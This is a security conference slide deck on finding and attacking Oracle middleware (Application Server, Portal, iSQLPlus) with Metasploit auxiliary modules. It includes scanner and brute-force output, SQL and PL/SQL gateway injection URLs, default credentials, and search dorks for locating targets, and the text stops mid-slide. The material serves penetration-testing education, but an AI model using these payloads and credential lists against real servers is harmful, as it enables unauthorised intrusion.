Attacking Oracle Web Applications with Metasploit

Chris Gates (carnal0wnage)
Chris Gates (CG)
- Twitter → carnal0wnage
- Blog → carnal0wnage.attackresearch.com
- Job → Sr. Security Consultant for Rapid7
- Affiliations → Attack Research, Metasploit Project

Work

Previous Talks
- wXf Web eXploitation Framework
- Open Source Information Gathering
- Attacking Oracle (via TNS)
- Client-Side Attacks
Why Are We Here?

• Here to talk about attacking oracle web applications (middleware)
• What’s out there and how prevalent it is
• Why so much of it is unpatched
• Demo Metasploit auxiliary modules to find and attack it
What Is Oracle Middleware?

<table>
<thead>
<tr>
<th>Application Grid</th>
<th>Data Integration</th>
<th>Oracle Fusion Middleware for Applications</th>
</tr>
</thead>
<tbody>
<tr>
<td>Application Server</td>
<td>Developer Tools</td>
<td>Portal, User Interaction, and Enterprise 2.0</td>
</tr>
<tr>
<td>Business Intelligence</td>
<td>Event-Driven Architecture</td>
<td>Service-Oriented Architecture</td>
</tr>
<tr>
<td>Business Process Management</td>
<td>Exalogic</td>
<td>SOA Governance</td>
</tr>
<tr>
<td>Collaboration</td>
<td>Identity Management</td>
<td>Transaction Processing</td>
</tr>
<tr>
<td>Content Management</td>
<td>In-Memory Data Grid</td>
<td></td>
</tr>
</tbody>
</table>
What is Oracle Middleware?

- Enterprise Resource Planning (ERP)
  - Oracle E-Business Suite*
  - Oracle Application Server 9i/10g/11i**
  - Oracle Reports/Forms
  - Oracle Portal
  - Oracle Financials/Supplier/Recruitment
- For Oracle lots of different products...
- For this talk I’m going to lump them all together as “web applications”

*Technically Oracle considers E-Business Suite an “application” as it rides on top of OAS
**weblogic
### Market Share

#### Sample Vendors

<table>
<thead>
<tr>
<th>Tier I</th>
<th>Tier II</th>
<th>Tier IIII</th>
</tr>
</thead>
<tbody>
<tr>
<td>SAP</td>
<td>Epicor</td>
<td>ABAS</td>
</tr>
<tr>
<td>Oracle</td>
<td>Sage</td>
<td>Activant Solutions Inc.</td>
</tr>
<tr>
<td>Oracle eBusiness Suite</td>
<td>Infor</td>
<td>Bowen and Groves</td>
</tr>
<tr>
<td>Oracle JD Edwards</td>
<td>IFS</td>
<td>Compiere</td>
</tr>
<tr>
<td>Oracle Peoplesoft</td>
<td>QAD</td>
<td>Exact</td>
</tr>
<tr>
<td>Microsoft Dynamics</td>
<td>Lawson</td>
<td>NetSuite</td>
</tr>
<tr>
<td></td>
<td>CDC Software</td>
<td>Visibility</td>
</tr>
</tbody>
</table>

#### Pie Chart

- **SAP**: 31%
- **Oracle**: 25%
- **Microsoft Dynamics**: 15%
- **Rest**: 30%

- Big list of customers
- [http://www.oracle.com/customers/customers/cust_list_atoz.html](http://www.oracle.com/customers/customers/cust_list_atoz.html)
By now we should agree there's a lot of Oracle out there...

That's good right?

Except a lot of it is un-patched and vulnerable :-(

Why?
How Did We Get Here?

- Pay for patches
- Most products are free downloads but you pay for support and patches
How Did We Get Here?

- Extremely vague advisories
- Must pay for extended advisory info (metalink)
- Oracle does not release POC code

<table>
<thead>
<tr>
<th>CVE#</th>
<th>Component</th>
<th>Protocol</th>
<th>Package and/or Privilege Required</th>
<th>Remote Exploit without Auth.?</th>
<th>CVSS VERSION 2.0 RISK (see Risk Matrix Definitions)</th>
<th>Last Affected Patch set (per Supported Release)</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2010-2390</td>
<td>EM Console</td>
<td>HTTP</td>
<td>None</td>
<td>Yes</td>
<td>7.5 [Network, Low, None, Partial+]</td>
<td>10.1.2.3, 10.1.4.3</td>
</tr>
</tbody>
</table>

CVE-ID

CVE-2010-2390 (under review)

Learn more at National Vulnerability Database (NVD)
- Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings

Description

Unspecified vulnerability in the Database Control component in EM Console in Oracle Database Server 10.1.0.5 and 10.2.0.3, Oracle Fusion Middleware 10.1.2.3 and 10.1.4.3, and Enterprise Manager Grid Control allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors.
How Did We Get Here?

- Extremely vague advisories

<table>
<thead>
<tr>
<th>CVE-ID</th>
<th>Learn more at National Vulnerability Database (NVD)</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2009-3407</td>
<td>-Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings</td>
</tr>
</tbody>
</table>

Unspecified vulnerability in the Portal component in Oracle Application Server 10.1.2.3 and 10.1.4.2 allows remote attackers to affect integrity via unknown vectors.
How Did We Get Here?

- Difficult patch / upgrade processes
- Complex applications / If it works don't touch it mentality
Locating Oracle Servers

- Numerous server header strings:
  - www.owasp.org/index.php/Testing_for_Oracle

- Solution:
  - oracle_version_scanner.rb
Locating Oracle Servers

- oracle_version_scanner.rb

```
msf auxiliary(oracle_version_scanner) > set RHOSTS 192.168.26.139
RHOSTS => 192.168.26.139
msf auxiliary(oracle_version_scanner) > set RPORT 7778
RPORT => 7778
msf auxiliary(oracle_version_scanner) > run

[*] Oracle Application Server Found!
[*] 192.168.26.139 is running Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(oracle_version_scanner) > set RHOSTS 192.168.26.137
RHOSTS => 192.168.26.137
msf auxiliary(oracle_version_scanner) > set RPORT 80
RPORT => 80
msf auxiliary(oracle_version_scanner) > run

[*] Oracle Application Server Found!
[*] 192.168.26.137 is running Oracle-Application-Server-10g/10.1.2.0.2 Oracle-HTTP-Server OracleAS-Web-Cache-10g/10.1.2.0.2 (M;max-age=0;age=0;ecid=1513801543022.0)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Finding Default Content

- First step is to find useful “stuff”
- Google/Bing useful (Google Dorks)
- Issue is how to find content internal or when its not indexed
- Solution:
  - oas_cgi_scan.rb
Abusing Default Content

- Most Oracle Middleware applications come with lots of default content
  - Must be manually removed (no patch to remove content)
  - Must know exactly where and what files to delete
- Tons of information disclosure
- Sometimes exploitation potential or credential leakage
Abusing Default Content Examples (DB)

- `/demo/sql/jdbc/JDBCQuery.jsp`
- Ships with Oracle 9.2 Database and installed by default

---

Please enter a suitable JDBC connection string, before you try the above demo

To use the thin driver insert your host, port and database id. Once you have set the connection string it will remain in effect until the session times out for most demos. For Connection Cache demos which use application scope on most servlet engines the connection string will remain in effect for the life of the application.

```
jdbc:oracle:thin:@localhost:1521:orcl92
```

Set Connection String
Abusing Default Content Examples (DB)

- `/demo/sql/jdbc/JDBCQuery.jsp`
- `Select sys.database_name`
- `'1'='2' UNION SELECT sys.database_name, -500 FROM Dual`

Search results for: `1'='2' UNION SELECT sys.database_name, -500 FROM dual`

- ORCL92.US.ORACLE.COM earns $ -500.
Abusing Default Content Examples (OAS)

- Oracle Application Server 10g DAV Authentication Bypass CVE-2008-2138
- `/dav_portal/portal/` directory is protected using basic authentication. It is possible to bypass and access content of `dav_portal` by adding a specially crafted cookie value in the http request header.

---

<table>
<thead>
<tr>
<th>CVE-ID</th>
<th>Learn more at National Vulnerability Database (NVD)</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-2138 (under review)</td>
<td>- Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings</td>
</tr>
</tbody>
</table>

**Description**

Oracle Application Server (OracleAS) Portal 10g allows remote attackers to bypass intended access restrictions and read the contents of `/dav_portal/portal/` by sending a request containing a trailing "%0A" (encoded line feed), then using the session ID that is generated from that request. NOTE: as of 20080512, Oracle has not commented on the accuracy of this report.
Abusing Default Content Examples (OAS)

- Oracle Application Server 10g DAV Authentication Bypass CVE-2008-2138
- Finding vulnerable hosts:

```
[*] Received 404 for /dav
[*] Received 404 for /dav/
[*] Received 401 for /dav_portal/portal/
```
Abusing Default Content Examples (OAS)

- oracle_dav_bypass.rb
Abusing Default Content Examples (OAS)

• Oracle Application Server 10g DAV Authentication Bypass CVE-2008-2138

• How many targets?

  inurl:/portal/page/portal

  About 2,890,000 results (0.09 seconds)

• And...unpatched

  Solution: Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at vuldb@securityfocus.com.
Abusing Default Content Examples (OAS)

- /xsql/adhocsql/sqltoxml.html

- Now in all fairness, this one usually doesn't work...db usually isn't set up. But sometimes it is :-(

```sql
select value(c) as Claim
from insurance_claim_view c
where c.claimpolicy.primaryinsured.lastname = 'Astoria'
```
Abusing Default Content Examples (OAS)

- Ability to run SQL Commands (database version)
Abusing Default Content Examples (OAS)

• UDDI Endpoints

```
[*] Received 404 for /temp/
[*] Received 404 for /tmp/
[+] Found: /uddi/ --> Vuln: Oracle AS UDDI Registry
[*] Received 404 for /tictactoe
[+] Found: /uddi/inquiry --> Vuln: UDDI Pinger
[+] Found: /uddi/demo/jsp/searchForm.jsp --> Vuln: UDDI Registry Search/Browse Page
[*] Received 404 for /uix/
[*] Received 404 for /tmp/
[+] Found: /ultrasearch/ --> Vuln: Oracle Ultra Search Query Applications
[+] Found: /ultrasearch/query/ --> Vuln: Oracle Ultra Search Query Applications
[+] Found: /ultrasearch/query/search.jsp --> Vuln: Oracle Ultra Search Query Applications
[+] Found: /ultrasearch/query/usearch.jsp --> Vuln: Oracle Ultra Search Query Applications
[*] Received 500 for /ultrasearch/query/mail.jsp
[+] Found: /ultrasearch/query/tag/tsearch.jsp --> Vuln: Oracle Ultra Search Query Applications
[*] Received 404 for /ultrasearch/query/9i/gsearch.jsp
```
Abusing Default Content Examples (OAS)

- UDDI Endpoints

OracleAS UDDI Registry

10g Release 2 (10.1.2)

Registry Status check
- Ping the inquiry endpoint. This entry point is also used to initialize UDDI registry after installation.
- Ping the publishing endpoint (typically requires authentication)

Demo JSPs
- Try the built-in UDDI inquiry/publishing tool

Runtime logging controls (UDDI registry administrator’s privilege is required)
- Click here to set the log level of UDDI Server to DEBUG (very verbose).
- Click here to set the log level of UDDI Server to WARNING (default mode).
- Note that the log level set here is not persistent. To make the change persistent, modify uddiserver.conf

For more information, tutorials about Web services and UDDI, please see:
- http://otn.oracle.com/tech/webservices/
- http://www.uddi.org
- Refer to Oracle Application Server documentation library for UDDI Client Library javadoc.
Abusing Default Content Examples (OAS)

- UDDI Endpoints – Check Default Passwords

By default, the installation creates UDDI users and user groups. *Table 10-2* lists the type of user, the user names, and passwords.

*Table 10-2 Default UDDI Users and Passwords*

<table>
<thead>
<tr>
<th>Type</th>
<th>User Name</th>
<th>Default Password</th>
</tr>
</thead>
<tbody>
<tr>
<td>Administration</td>
<td>ias_admin</td>
<td>ias_admin123</td>
</tr>
<tr>
<td>Publisher</td>
<td>uddi_publisher</td>
<td>uddi_publisher123</td>
</tr>
<tr>
<td>Publisher</td>
<td>uddi_publisher1</td>
<td>uddi_publisher1</td>
</tr>
<tr>
<td>Replicator</td>
<td>uddi_replicator</td>
<td>no password, not used explicitly</td>
</tr>
</tbody>
</table>
Abusing Default Content Examples (OAS)

- UDDI Endpoints – Check Default Passwords (Success)
Abusing Default Content Examples (OAS)

- Info Disclosure -- /webapp/wm/javart.jsp

<table>
<thead>
<tr>
<th>Chave</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>awt.toolkit</td>
<td>sun.awt.windows.WToolkit</td>
</tr>
<tr>
<td>file.encoding</td>
<td>MS874</td>
</tr>
<tr>
<td>file.encoding.pkg</td>
<td>sun.io</td>
</tr>
<tr>
<td>file.separator</td>
<td>\</td>
</tr>
<tr>
<td>GenerateJOP</td>
<td>false</td>
</tr>
<tr>
<td>java.awt.graphicsenv</td>
<td>sun.awt.Win32GraphicsEnvironment</td>
</tr>
<tr>
<td>java.awt.headless</td>
<td>true</td>
</tr>
<tr>
<td>java.awt.printerjob</td>
<td>sun.awt.windows.WPrinterJob</td>
</tr>
<tr>
<td>java.class.version</td>
<td>48.0</td>
</tr>
<tr>
<td>java.endorsed.dirs</td>
<td>C:\APP_10G\jdk\jre\lib\endorsed</td>
</tr>
<tr>
<td>java.ext.dirs</td>
<td>C:\APP_10G\jdk\jre\lib\ext</td>
</tr>
<tr>
<td>java.home</td>
<td>C:\APP_10G\jdk\jre</td>
</tr>
<tr>
<td>java.io.tmpdir</td>
<td>C:\DOCUMENTS<del>1\puttana\LOCALS</del>1\Temp1\</td>
</tr>
</tbody>
</table>
Abusing Default Content Examples (OAS)

- **Info Disclosure**

<table>
<thead>
<tr>
<th>Property</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>oracle.vector.deepCopy</td>
<td>false</td>
</tr>
<tr>
<td>oracle.xdkjava.compatibility.version</td>
<td>9.0.3</td>
</tr>
<tr>
<td>os.arch</td>
<td>x86</td>
</tr>
<tr>
<td>os.name</td>
<td>Windows 2003</td>
</tr>
<tr>
<td>os.version</td>
<td>5.2</td>
</tr>
<tr>
<td>path.separator</td>
<td>:</td>
</tr>
<tr>
<td>port.ajp</td>
<td>3304</td>
</tr>
<tr>
<td>port.jms</td>
<td>3701</td>
</tr>
<tr>
<td>port.rmi</td>
<td>3204</td>
</tr>
<tr>
<td>sun.arch.data.model</td>
<td>32</td>
</tr>
<tr>
<td>sun.boot.class.path</td>
<td>C:\APP_10G\jdk\jre\lib\rt.jar;C:\APP_10G\jdk\jre\lib\ssl.jar;C:\APP_10G\jdk\jre\lib\sunrsasign.jar;C:\APP_10G\jdk\jre\lib\jsse.jar;C:\APP_10G\jdk\jre\lib\jce.jar;C:\APP_10G\jdk\jre\lib\charsets.jar;C:\APP_10G\jdk\jre\classes</td>
</tr>
<tr>
<td>sun.boot.library.path</td>
<td>C:\APP_10G\jdk\jre\bin</td>
</tr>
<tr>
<td>sun.cpu.endian</td>
<td>little</td>
</tr>
<tr>
<td>sun.cpu.isalist</td>
<td>pentium i486 i386</td>
</tr>
<tr>
<td>sun.io.unicode.encoding</td>
<td>UnicodeLittle</td>
</tr>
<tr>
<td>sun.java2d.fontpath</td>
<td></td>
</tr>
<tr>
<td>sun.os.patch.level</td>
<td>Service Pack 2</td>
</tr>
<tr>
<td>user.country</td>
<td>TH</td>
</tr>
<tr>
<td>user.dir</td>
<td>C:\APP_10G\j2ee\home</td>
</tr>
<tr>
<td>user.home</td>
<td>C:\Documents and Settings\Default User</td>
</tr>
<tr>
<td>user.language</td>
<td>th</td>
</tr>
<tr>
<td>user.name</td>
<td>SYSTEM</td>
</tr>
<tr>
<td>user.timezone</td>
<td>GMT+07:00</td>
</tr>
<tr>
<td>user.variant</td>
<td></td>
</tr>
</tbody>
</table>
Abusing Default Content Examples (OAS)

- Info Disclosure -- /cgi-bin/printenv

```
COMSPEC="C:\WINDOWS\system32\cmd.exe"
DOCUMENT_ROOT="c:/oracle/ora92/apache/apache/htdocs"
GATEWAY_INTERFACE="CGI/1.1"
HTTP_ACCEPT="image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*"
HTTP_ACCEPT_ENCODING="gzip, deflate"
HTTP_ACCEPT_LANGUAGE="en-us"
HTTP_CONNECTION="Keep-Alive"
HTTP_COOKIE="JSessionId=5vuezl9m1.rlbzqwPTb6XRc35LckjvcALJmQ5Go6XNr3CLa3e" HTTP_HOST="192.168.26.139:7778"
HTTP_USER_AGENT="Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
PATH="C:\oracle\ora92\bin;C:\oracle\ora92\Apache\Perl\5.00503\bin;mswin32-x86;C:\o QUERY_STRING=""
REMOTE_ADDR="192.168.26.139"
REMOTE_PORT="2091"
REQUEST_METHOD="GET"
REQUEST_URI="/cgi-bin/printenv"
SCRIPT_FILENAME="/c:/oracle/ora92/apache/apache/cgi-bin/printenv"
SERVER_ADDR="192.168.26.139"
SERVER_ADMIN="you@your.address"
SERVER_NAME="user-y4ow81q9ea"
SERVER_PORT="7778"
SERVER_PROTOCOL="HTTP/1.1"
```
Oracle iSQLPlus

- Web-based interface to the TNS Listener
  - Available on Oracle Database 9 & 10
- oracle_isqlplus_sidbrute
- oracle_isqlplus_login
oracle_isqlplus_sidbrute.rb

Different POST requests for 9 vs 10

Module fingerprints version and chooses correct POST

Uses SID list already in Metasploit

Using error message returned by Oracle determines valid SID

Wrong SID:
  - ORA-12154: TNS: could not resolve service name

Right SID (wrong password):
  - ORA-01017: invalid username/password; logon denied
Oracle iSQLPlus

- `oracle_isqlplus_sidbrute.rb`

```
msf auxiliary(oracle_isqlplus_sidbrute) > run
[*] Received a 200 the target is up
[*] Server is Oracle 9.2*
[*] Starting SID check on 192.168.1.2.195.140:80, using SIDs from /home/user/pentest/msf3/data/wordlists/sid.txt...
[*] Oracle version is set to 9
[-] WRONG SID: ORCL
[-] WRONG SID: ORACLE
[-] WRONG SID: XE
[-] WRONG SID: ASDB
[-] WRONG SID: IASDB
[-] WRONG SID: OEMREP
[+] received ORA-01017, possible correct sid of TEST
[-] WRONG SID: SA0
^C[+] Caught interrupt from the console...
[*] Auxiliary module execution completed
```
Oracle iSQLPlus

- `oracle_isqlplus_sidbrute.rb`

```
msf auxiliary(oracle_isqlplus_sidbrute) > run
[*] Received a 200 the target is up
[*] Server is Oracle 10.1
[*] iSQLPlus on 10.1 success has been intermittent, you've been warned.
[*] Starting SID check on 161.22:5560, using SIDs from /home/user/pentest
/msf3/data/wordlists/sid.txt...
[*] Oracle version is set to 10
[-] WRONG SID:
[+] received ORA-01017, possible correct sid of ORCL
[*] received an unknown error, manually check
[-] WRONG SID: XE
^C
[*] Caught interrupt from the console...
[*] Auxiliary module execution completed
```
- `oracle_isqlplus_login.rb`
- Once we have a valid SID start checking for default user/pass accounts

```
msf auxiliary(oracle_isqlplus_login) > set RHOSTS 192.168.26.139
RHOSTS => 192.168.26.139
msf auxiliary(oracle_isqlplus_login) > set RPORT 7778
RPORT => 7778
msf auxiliary(oracle_isqlplus_login) > set SID ORCL92
SID => ORCL92
msf auxiliary(oracle_isqlplus_login) > run

[*] http://192.168.26.139:7778 - Trying username:'SCOTT' with password:'TIGER'
[*] http://192.168.26.139:7778 - Trying username:'SYSADMIN' with password:'SYSADMIN'
[*] http://192.168.26.139:7778 - Trying username:'BRI0_ADMIN' with password:'BRI0_ADMIN'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Oracle iSQLPlus

- `oracle_isqlplus_login.rb`
- Works on Oracle DB 10 as well

```ruby
msf auxiliary(oracle_isqlplus_login) > set VERSION 10
VERSION => 10
msf auxiliary(oracle_isqlplus_login) > set RPORT 5560
RPORT => 5560
msf auxiliary(oracle_isqlplus_login) > set SID ORCL
SID => ORCL
msf auxiliary(oracle_isqlplus_login) > run

[*] http://192.168.26.139:5560 - Trying username:'SCOTT' with password:'TIGER'
[*] http://192.168.26.139:5560 - Trying username:'SYS' with password:'SYS'
[+] SYS:ORACLE is correct but required SYSDBA or SYSOPER login
[*] http://192.168.26.139:5560 - Trying username:'SYSADMIN' with password:'SYSADMIN'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
Web based PL/SQL applications are enabled by the PL/SQL Gateway, which is the component that translates web requests into database queries.

Products that use the PL/SQL Gateway include, but are not limited to, the Oracle HTTP Server, eBusiness Suite, Portal, HTMLDB, WebDB and Oracle Application Server.

Several software implementations, ranging from the early web listener product to the Apache mod_plsql module to the XML Database (XDB) web server.
Oracle Portal

http://download.oracle.com/docs/cd/B10467_16/tour/portal_intro.htm
Essentially the PL/SQL Gateway simply acts as a proxy server taking the user's web request and passes it on to the database server where it is executed.

1. The web server accepts a request from a web client and determines if it should be processed by the PL/SQL Gateway.
2. The PL/SQL Gateway processes the request by extracting the requested package name, procedure, and variables.
3. The requested package and procedure are wrapped in a block of anonymous PL/SQL, and sent to the database server.
4. The database server executes the procedure and sends the results back to the Gateway as HTML.
5. The gateway sends the response, via the web server, back to the client.
URLs for PL/SQL web applications are normally easily recognizable and generally start with the following:

- http://www.example.com/pls/xyz
- http://www.example.com/xyz/owa
- http://www.example.com/xyz/portal

In this URL, xyz is the **Database Access Descriptor**, or DAD. A DAD specifies information about the database server so that the PL/SQL Gateway can connect. It contains information such as the TNS connect string, the user ID and password, authentication methods, etc.
Oracle Portal

http://download.oracle.com/docs/cd/B10467_16/tour/portal_how.htm
Oracle Portal

- Database Access Descriptors
  - Similar to SIDs, required to interact with the portal.
  - Lots of defaults but can be anything alphanumeric
  - Common Defaults:

<table>
<thead>
<tr>
<th>SIMPLEDAD</th>
<th>ORASSO</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTMLDB</td>
<td>SSODAD</td>
</tr>
<tr>
<td>PORTAL</td>
<td>PORTAL2</td>
</tr>
<tr>
<td>PORTAL30</td>
<td>PORTAL30_SSO</td>
</tr>
<tr>
<td>DAD</td>
<td>OWA</td>
</tr>
<tr>
<td>PROD</td>
<td>APP</td>
</tr>
</tbody>
</table>
Oracle DAD Scanner

- `oracle_dad_scanner.rb`
  - Scans for common Oracle DADs

```ruby
msf auxiliary(oracle_dad_scanner) > run
[+] Received 200 for DAD: /
[+] Received 302 for DAD: /pls --> Redirect to /pls/simpledad/
[+] Received 302 for DAD: /pls/ --> Redirect to /pls/simpledad/
[*) 404 for /apex
[*) 404 for /pls/adm
[*) 404 for /pls/admin
[+] Received 302 for DAD: /pls/admin_/ --> Redirect to /pls/simpledad/admin_/?scheme=sample
[*) 404 for /pls/apex
[*) 404 for /pls/apex_prod
```
Oracle DAD Scanner

- oracle_dad_scanner.rb
  - Scans for common Oracle DADs

```ruby
[*] 404 for /ows-bin/mydad/admin/
[*] 404 for /ows-bin/orasso
[*] 404 for /ows-bin/orasso/admin/
[*] 404 for /ows-bin/online
[*] 404 for /ows-bin/online/admin/
[+] Received 302 for DAD: /ows-bin/owa --> Redirect to /ows-bin/owa/.home
[+] Received 200 for DAD: /ows-bin/owa/admin/
[*] 404 for /ows-bin/ows-binqlapp
[*] 404 for /ows-bin/ows-binqlapp/admin/
[*] 404 for /ows-bin/portal
[*] 404 for /ows-bin/portal/admin/
[*] 404 for /ows-bin/portal2
```
• **oracle_dad_scanner.rb**
  - Scans for common Oracle DADs
  - Set VERBOSE to false to just see found DADs

```bash
nsf auxiliary(oracle_dad_scanner) > run

[+] Received 302 for DAD: / --> Redirect to http://[XXX].org/
[+] Received 301 for DAD: /db --> Redirect to http://[XXX].23/db/
[+] Received 200 for DAD: /db/
[+] Received 302 for DAD: /ows-bin --> Redirect to /ows-bin/simpledad/
[+] Received 302 for DAD: /ows-bin/ --> Redirect to /ows-bin/simpledad/
[+] Received 302 for DAD: /ows-bin/admin_/ --> Redirect to /ows-bin/simpledad/admin_/?schema=sample
[+] Received 302 for DAD: /ows-bin/owa --> Redirect to /ows-bin/owa/.home
[+] Received 302 for DAD: /ows-bin/simpledad --> Redirect to /ows-bin/simpledad/sample.home
[+] Received 200 for DAD: /ows-bin/simpledad/admin_
[+] Received 302 for DAD: /ows-bin/ssodad --> Redirect to /ows-bin/ssodad/sample.home
[+] Received 200 for DAD: /ows-bin/ssodad/admin_
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
• Verify mod_plsql gateway is running
  • Null is valid function and should return a 200
  • Something random is not, and should return a 404
    – http://www.example.com/pls/dad/null
    – http://www.example.com/pls/dad/nosuchfunction

• If the server responds with a 200 OK response for the first and a 404 Not Found for the second then it indicates that the server is running the PL/SQL Gateway.

• http://www.owasp.org/index.php/Testing_for_Oracle
Oracle Portal Testing PLSQL Gateway

- `oracle_plsql_enabled.rb`

```ruby
msf auxiliary(`oracle_isplsql_enabled`) > set DAD ows-bin/wrong
DAD => ows-bin/wrong
msf auxiliary(`oracle_isplsql_enabled`) > run

[*] Sending requests to **[REDACTED]**

[*] Received 404 for null
[*] Received 404 for DQHEFZPTS
[+] PL/SQL gateway is not running
[*] Auxiliary module execution completed
msf auxiliary(`oracle_isplsql_enabled`) > set DAD ows-bin/owa/
DAD => ows-bin/owa/
msf auxiliary(`oracle_isplsql_enabled`) > run

[*] Sending requests to **[REDACTED]**

[*] Received 200 for null
[*] Received 404 for KMIAJ
[+] **[REDACTED]** PL/SQL Gateway appears to be running!
[*] Auxiliary module execution completed
msf auxiliary(`oracle_isplsql_enabled`) >
```
It is possible to exploit vulnerabilities in the PL/SQL packages that are installed by default in the database server. How you do this depends on the version of the PL/SQL Gateway.

Examples:

- `http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL`
- `http://server.example.com/pls/dad/orasso.home?);execute+immediate+:1;--=select+1+from+dual`
Oracle Portal Exploitation

- **oracle_modplsql_pwncheck.rb**
- Test the various PL/SQL gateway exploit methods
- Based on notsosecure.com’s oap.pl [http://code.google.com/p/oaphacker/]

```ruby
msf auxiliary(oracle_modplsql_pwncheck) > set DAD ows-bin/owa/
DAD => ows-bin/owa/
msf auxiliary(oracle_modplsql_pwncheck) > run

[*] Sending requests to 203.0.113.23:80/ows-bin/owa/

[-] Received 403 for owa_util.cellsprint?p_thequery=select+1+from+dual
[-] Received 403 for %0Aowa_util.cellsprint?p_thequery=select+1+from+dual
[-] Received 400 for %20owa_util.cellsprint?p_thequery=select+1+from+dual
[-] Received 404 for owa_util.cellsprint?p_thequery=select+1+from+dual
[-] Received 404 for ow%2534%31 Util.cellsprint?p_thequery=select+1+from+dual
[-] Received 400 for %20owa_util.cellsprint?p_thequery=select+1+from+dual
[-] Received 403 for %09owa_util.cellsprint?p_thequery=select+1+from+dual
[-] Received 404 for %FFS.owa_util.cellsprint?p_thequery=select+1+from+dual
[-] Received 404 for %AFS.owa_util.cellsprint?p_thequery=select+1+from+dual
[-] Received 403 for %5CSYS.owa_util.cellsprint?p_thequery=select+1+from+dual
[-] Received 404 for *SYS*.owa_util.cellsprint?p_thequery=select+1+from+dual
[+] Received 200 for 203.0.113.23:80/ows-bin/owa/"SYS".owa_util.cellsprint?p_thequery=select+1+from+dual
[+] Received 200 for 203.0.113.23:80/ows-bin/owa/"LBL">owa_util.cellsprint?p_thequery=select+1+from+dual
[+] Received 200 for 203.0.113.23:80/ows-bin/owa/"LBL">owa_util.cellsprint?p_thequery=select+1+from+dual
[+] Received 200 for 203.0.113.23:80/ows-bin/owa/"LBL">SYS.owa_util.cellsprint?p_thequery=select+1+from+dual
```
Oracle Portal Exploitation

- oracle_modplsql_pwncheck.rb
- Test the various PL/SQL gateway exploit methods

```
[-] Received 404 for XMLGEN.USELOWERCASETAGNAMES?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+1+FROM+DUAL
[-] Received 500 for PORTAL.www.form.genpopulist?p_fieldname=p_attributes&p_fieldname=p_attributeenames&p_fieldname=p_attributeedatatypes&p_fieldname=p_attributestid&p_lov=SEARCHCHATTRLOV&p_element_index=0&p_formname=SEARCH54_PAGESEARCH 899010056&p_where=for_search_criteria%20%201%20union%20select%201%20from%20dual-&p_order=1&-filter=%25
[-] Received 404 for PORTAL.www_dynxml_generator.show?p_text=<ORACLE>SELECT+1+FROM+DUAL</ORACLE>
[-] Received 404 for PORTAL.www_ui_lovf.show?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+1+FROM+DUAL
[+] Received 200 for www:80/pls/portal/PORTAL.WWV.HTP.CENTERCLOSE?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+1+FROM+DUAL
[-] Received 404 for ORASSO.HOME?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+1+FROM+DUAL
[-] Received 404 for WWC_VERSION.GET_HTTP_DATABASE_INFO?);OWA_UTIL.CELLSPRINT(:1)
[+] Auxiliary module execution completed
msf auxiliary(oracle_modplsql_pwncheck) > □
```
Oracle Portal Exploitation

- oracle_modplsql_pwncheck.rb
- Attack Surface?

<table>
<thead>
<tr>
<th>inurl:/portal/page/portal</th>
<th>inurl:/pls/portal</th>
</tr>
</thead>
<tbody>
<tr>
<td>About 2,890,000 results (0.09 seconds)</td>
<td>About 2,860,000 results (0.19 seconds)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>inurl:/pls/portal30</th>
<th>inurl:/pls/prod</th>
</tr>
</thead>
<tbody>
<tr>
<td>About 64,200 results (0.22 seconds)</td>
<td>About 59,300 results (0.15 seconds)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>inurl:/pls/orasso</th>
<th>inurl:/ows-bin/</th>
</tr>
</thead>
<tbody>
<tr>
<td>About 11,000 results (0.10 seconds)</td>
<td>About 4,890 results (0.29 seconds)</td>
</tr>
</tbody>
</table>
Oracle Portal Exploitation

- Run SQL Queries – Database Version

Oracle9i Release 9.2.0.8.0 - Production PL/SQL Release 9.2.0.8.0 - Production CORE 9.2.0.8.0 Production TNS for Linux: Version 9.2.0.8.0 - Production NLSRTL Version 9.2.0.8.0 - Production
Oracle Portal Exploitation

- Run SQL Queries – Database SID

![Image of Oracle Portal Exploitation](image-url)
Oracle Portal Exploitation

• Run SQL Queries – Database Users

```
